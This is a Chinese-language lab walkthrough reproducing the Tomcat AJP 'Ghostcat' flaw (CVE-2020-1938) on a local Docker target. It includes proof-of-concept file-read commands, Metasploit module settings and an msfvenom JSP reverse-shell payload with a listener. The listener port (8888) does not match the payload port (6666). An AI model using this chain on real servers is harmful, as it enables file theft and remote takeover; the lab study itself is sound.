Apache Tomcat 文件读取/文件包含(CVE-2020-1938)漏洞复现
Apache Tomcat 文件读取/文件包含(CVE-2020-1938)漏洞复现
一、靶场搭建
1. 1 环境地址
靶场:kali2024 192.168.109.130
攻击机器:kali2023 192.168.109.129
1.2 拉取靶场镜像
通过docker镜像搭建靶场
- docker搜索tomcat镜像
1 | docker search tomcat-8.5.32 |
2. 拉取tomcat镜像
1 | docker pull duonghuuphuc/tomcat-8.5.32 |
3. 拉取完成后查看是否拉取成功
1 | docker images |
4. 运行镜像并映射端口
1 | docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32 |
5. 并查看是否运行成功
1 | docker ps -a |
6. 访问
访问 192.168.109.130:8080 看到此页面说明靶场搭建成功了
二、漏洞检测
2.1 扫描靶机端口
使用nmap扫描靶机的端口
nmap -sT 192.168.109.130
可以看到8009端口的AJP协议是开启的,并且存在8009端口服务的开启,可以怀疑有CVE-2020-1938 Apache Tomcat文件包含漏洞的存在
2.2 使用poc利用漏洞验证
poc地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
- 在kali中克隆poc脚本到本地
1 | git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git |
(注意:python环境为python2,否则会报错)
2. 尝试读取靶机上Tomcat服务器的/usr/local/tomcat/webapps/ROOT/WEB-INF
文件
1 | python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.109.130 -p 8009 -f WEB-INF/web.xml |
成功读取Tomcat的Webapps下的文件web.xml,证明这里存在文件包含漏洞。
4. 返回kali2024靶机,进入Docker容器,查看相应的文件是否与Kali攻击机获取到的一致:
首先查容器id:
1 | docker ps |
5. 进入容器的shell:
1 | sudo docker exec -it 5f35 /bin/bash |
6. 然后进入到/usr/local/tomcat/webapps/ROOT/WEB-INF
ls
查看
7. 查看web.xml文件,与远程读取的一致,成功复现CVE-2020-1938 漏洞。
利用文件包含漏洞进阶获得RCE,因为WEB-INF下都是服务器端的源代码和配置文件,web.xml这个文件是不应该被访问的。
2.3 msf验证
- 开启msfconsole
1 | msfconsole |
2. 查找cve-2020-1938
1 | search cve-2020-1938 |
1 | use 0 |
3. 设置参数
1 | set rhosts 192.168.109.130 |
可以看到能够读取到目标主机tomcat目录下的配置文件中/WEB-INF/web.xml
文件
4. 在/WEB-INF/
目录下创建测试文件test.txt 内容为:hello
重新设置参数
1 | set filename /WEB-INF/test.txt |
一样可以读取到
6. 再在上层目录ROOT下创建测试文件test.txt ,内容:123,同样可以读取
1 | set filename /test.txt |
三、漏洞利用–文件包含getshell
- 首先在靶机使用msf生成一个java木马
1 | msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.109.129 LPORT=6666 > shell.txt |
2. 将生成的木马复制到tomcat目录下,模拟将shell.txt上传的过程。
1 | docker cp /root/shell.txt 5f35a683cfec:/usr/local/tomcat/webapps/ROOT/WEB-INF/shell.txt |
3. 在攻击机下载poc
1 | git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ |
4. 在攻击机打开msf进行监听
打开msf:msfconsole
设置监听模块:use exploit/multi/handler
设置 payload:set payload java/jsp_shell_reverse_tcp
设置监听 IP 地址:set lhost 192.168.109.129
设置监听端口:set lport 8888
执行 :run
5. 在攻击机访问shell.txt,使shell.txt发生文件包含
1 | python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py 192.168.109.130 -p 8009 -f /WEB-INF/shell.txt |
显示连接成功,靶场主机192.168.109.130:52054,连接到了攻击机器6666端口,并且可以执行系统命令,getshell成功了